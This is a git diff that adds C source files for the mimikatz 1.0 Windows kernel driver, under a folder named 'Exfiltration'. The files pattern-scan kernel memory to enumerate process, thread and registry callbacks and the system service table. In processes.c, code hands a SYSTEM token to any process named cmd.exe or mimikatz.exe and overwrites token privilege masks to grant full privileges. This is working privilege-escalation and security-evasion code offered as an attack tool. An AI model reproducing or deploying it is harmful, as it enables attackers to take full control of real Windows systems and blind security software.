b/Exfiltration/mimikatz-1.0/driver/notify_process.c @@ -0,0 +1,137 @@ +#include "notify_process.h" + +ULONG * PspCreateProcessNotifyRoutineCount = NULL; +ULONG * PspCreateProcessNotifyRoutineExCount = NULL; +PVOID * PspCreateProcessNotifyRoutine = NULL; + +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + ULONG bonusCount; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateProcessNotifyRoutine(); + if(NT_SUCCESS(status)) + { + bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount); + for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateProcessNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb}; + LONG OFFS_WNT5_Process = -4; + UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3; + UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3; + + PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = - 0x18; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74}; + LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2; + UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1; + UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process); + + PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = - 0x20; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG); + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Process; + taille = sizeof(PTRN_WNT5_Process); + offsetTo = OFFS_WNT5_Process; + offsetToCount = OFFS_WNT5_Count; + } + else + { + pattern = PTRN_WNO8_Process; + taille = sizeof(PTRN_WNO8_Process); + offsetTo = OFFS_WNO8_Process; + offsetToCountEx = OFFS_WNO8_CountEx; + offsetToCount = OFFS_WNO8_Count; + } + refDebut = REF_D_WNO8_Process; + refFin = REF_F_WNO8_Process; + } + else + { + pattern = PTRN_WIN8_Process; + taille = sizeof(PTRN_WIN8_Process); + offsetTo = OFFS_WIN8_Process; + refDebut = REF_D_WIN8_Process; + refFin = REF_F_WIN8_Process; + offsetToCountEx = OFFS_WIN8_CountEx; + offsetToCount = OFFS_WIN8_Count; + } + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateProcessNotifyRoutine = (PVOID) (pointeur); + PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + if(INDEX_OS >= INDEX_VISTA) + PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx); + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.h b/Exfiltration/mimikatz-1.0/driver/notify_process.h new file mode 100644 index 0000000..27cbe3a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.h @@ -0,0 +1,12 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateProcessNotifyRoutine 64 +#define MAX_NT5_PspCreateProcessNotifyRoutine 8 + +ULONG * PspCreateProcessNotifyRoutineCount; +ULONG * PspCreateProcessNotifyRoutineExCount; +PVOID * PspCreateProcessNotifyRoutine; + +NTSTATUS getPspCreateProcessNotifyRoutine(); +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.c b/Exfiltration/mimikatz-1.0/driver/notify_reg.c new file mode 100644 index 0000000..843cfba --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.c @@ -0,0 +1,137 @@ +#include "notify_reg.h" + +ULONG * CmpCallBackCount = NULL; +PVOID * CmpCallBackVector = NULL; +PLIST_ENTRY CallbackListHead = NULL; + +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + PLIST_ENTRY maListe; + PKIWI_REGISTRY6_CALLBACK monCallBack6; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n"); + if(NT_SUCCESS(status)) + { + status = getNotifyRegistryRoutine(); + if(NT_SUCCESS(status)) + { + if(INDEX_OS < INDEX_VISTA) + { + for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - cookie %#.I64x\n", *(monCallBack->opt_cookie) + ); + } + } + } + } + } + else + { + for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++) + { + monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG))); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie); + } + } + } + } + } + } + return status; +} + +NTSTATUS getNotifyRegistryRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d}; + UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05}; + + UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48}; + LONG OFFS_WN60_Head = -9; + UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48}; + LONG OFFS_WALL_Head = -9; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb}; + UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9}; + + UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8}; + LONG OFFS_WN60_Head = 12; + UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8}; + LONG OFFS_WN61_Head = -4; + UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55}; + LONG OFFS_WIN8_Head = -4; + #endif + PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE; + PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + + if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector)); + if(NT_SUCCESS(retour)) + { + retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count)); + } + } + else + { + if(INDEX_OS < INDEX_7) + { + pattern = PTRN_WN60_Head; + taille = sizeof(PTRN_WN60_Head); + offsetTo= OFFS_WN60_Head; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WALL_Head; + taille = sizeof(PTRN_WALL_Head); + offsetTo= OFFS_WALL_Head; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WN61_Head; + taille = sizeof(PTRN_WN61_Head); + offsetTo= OFFS_WN61_Head; + } + else + { + pattern = PTRN_WIN8_Head; + taille = sizeof(PTRN_WIN8_Head); + offsetTo= OFFS_WIN8_Head; + } + #endif + } + retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo); + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.h b/Exfiltration/mimikatz-1.0/driver/notify_reg.h new file mode 100644 index 0000000..ce86568 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.h @@ -0,0 +1,17 @@ +#pragma once +#include "notify.h" + +ULONG * CmpCallBackCount; +PVOID * CmpCallBackVector; +PLIST_ENTRY CallbackListHead; + +typedef struct _KIWI_REGISTRY6_CALLBACK +{ + LARGE_INTEGER cookie; + PVOID context; + PVOID callback; + UNICODE_STRING altitude; +} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK; + +NTSTATUS getNotifyRegistryRoutine(); +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.c b/Exfiltration/mimikatz-1.0/driver/notify_thread.c new file mode 100644 index 0000000..41436b0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.c @@ -0,0 +1,111 @@ +#include "notify_thread.h" + +ULONG * PspCreateThreadNotifyRoutineCount = NULL; +PVOID * PspCreateThreadNotifyRoutine = NULL; + +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateThreadNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateThreadNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread); + UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread); + #elif defined _M_IX86 + UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe}; + LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread); + UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb}; + LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread); + #endif + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine; + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCount = 0; + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + #ifdef _M_X64 + pattern = PTRN_WNT5_Thread; + taille = sizeof(PTRN_WNT5_Thread); + offsetTo = OFFS_WNT5_Thread; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Thread; + taille = sizeof(PTRN_WNT6_Thread); + offsetTo = OFFS_WNT6_Thread; + #endif + offsetToCount = OFFS_WNT6_Count; + } + + #if defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Thread; + taille = sizeof(PTRN_WNO8_Thread); + offsetTo = OFFS_WNO8_Thread; + } + else + { + pattern = PTRN_WIN8_Thread; + taille = sizeof(PTRN_WIN8_Thread); + offsetTo = OFFS_WIN8_Thread; + } + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateThreadNotifyRoutine = (PVOID) (pointeur); + PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.h b/Exfiltration/mimikatz-1.0/driver/notify_thread.h new file mode 100644 index 0000000..22499b7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_thread.h @@ -0,0 +1,11 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateThreadNotifyRoutine 64 +#define MAX_NT5_PspCreateThreadNotifyRoutine 8 + +ULONG * PspCreateThreadNotifyRoutineCount; +PVOID * PspCreateThreadNotifyRoutine; + +NTSTATUS getPspCreateThreadNotifyRoutine(); +NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/processes.c b/Exfiltration/mimikatz-1.0/driver/processes.c new file mode 100644 index 0000000..55e13ab --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.c @@ -0,0 +1,146 @@ +#include "processes.h" + +const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] = +{ + /* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0088, 0x0000, 0x0000}, +/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040}, +/* INDEX_7 */ {0x00b8, 0x026c, 0x0040}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */ +/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */ +/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000}, +/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040}, +/* INDEX_7 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040}, +/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040} +#endif +}; + +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken); +} + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses); +} + +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_NOT_SUPPORTED; + + if(INDEX_OS >= INDEX_VISTA) + status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6); + + return status; +} + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action) +{ + NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS; + PEPROCESS monProcess = NULL; + PCHAR processName = NULL; + HANDLE processId = NULL; + + PACCESS_TOKEN monTokenAcess = NULL; + PKIWI_NT6_PRIVILEGES mesPrivileges = NULL; + + HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle; + PROCESS_ACCESS_TOKEN ProcessTokenInformation; + PULONG pFlags2 = NULL; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + + for( + monProcess = PsInitialSystemProcess; + NT_SUCCESS(status) && + (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess; + monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) + ) + { + processName = PsGetProcessImageFileName(monProcess); + processId = PsGetProcessId(monProcess); + + if(action == ExchangeToken || action == FullPrivilegeNT6) + { + if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouv :) - PID %u\n", processName, processId + ); + if(action == ExchangeToken) + { + status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle); + if(NT_SUCCESS(status2)) + { + status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle); + if(NT_SUCCESS(status2)) + { + status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle); + if(NT_SUCCESS(status2)) + { + ProcessTokenInformation.Token = newSysTokenHandle; + ProcessTokenInformation.Thread = 0; + + if(INDEX_OS >= INDEX_VISTA) + { + pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]); + *pFlags2 &= ~TOKEN_FROZEN_MASK; + } + + status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN)); + if(NT_SUCCESS(status2)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken chang :)\n"); + } + + if(INDEX_OS >= INDEX_VISTA) + { + *pFlags2 |= TOKEN_FROZEN_MASK; + } + + ZwClose(newSysTokenHandle); + } + ZwClose(sysProcessTokenHandle); + } + ZwClose(processHandle); + ZwClose(sysProcessHandle); + } + } + } + else + { + if(monTokenAcess = PsReferencePrimaryToken(monProcess)) + { + mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]); + + mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc; + mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff; + mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff; + mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff; + mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f; + + PsDereferencePrimaryToken(monTokenAcess); + } + } + } + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName); + } + } + return status; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/processes.h b/Exfiltration/mimikatz-1.0/driver/processes.h new file mode 100644 index 0000000..ae99825 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/processes.h @@ -0,0 +1,33 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" + +#define INDEX_EPROCESS_NEXT 0 +#define INDEX_EPROCESS_FLAGS2 1 +#define INDEX_TOKEN_PRIVS 2 +#define MAX_EPROCESS_LEN 3 + +#define TOKEN_FROZEN_MASK 0x00008000 + +typedef struct _KIWI_NT6_PRIVILEGES +{ + UCHAR Present[8]; + UCHAR Enabled[8]; + UCHAR EnabledByDefault[8]; +} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES; + +typedef enum _KIWI_EPROCESS_ACTION +{ + ListProcesses, + ExchangeToken, + FullPrivilegeNT6 +} KIWI_EPROCESS_ACTION; + +extern char* PsGetProcessImageFileName(PEPROCESS monProcess); +extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength); + +NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.c b/Exfiltration/mimikatz-1.0/driver/ssdt.c new file mode 100644 index 0000000..688dfb2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.c @@ -0,0 +1,83 @@ +#include "ssdt.h" + +#ifdef _M_X64 +PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL; +#endif + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + USHORT idxFunction; + ULONG_PTR funcAddr; + + #ifdef _M_X64 + status = getKeServiceDescriptorTable(); + if(NT_SUCCESS(status)) + { + #endif + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize); + for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++) + { + #ifdef _M_IX86 + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction]; + #else + funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService; + if(INDEX_OS < INDEX_VISTA) + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK; + } + else + { + funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4; + } + #endif + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + #ifdef _M_X64 + } + #endif 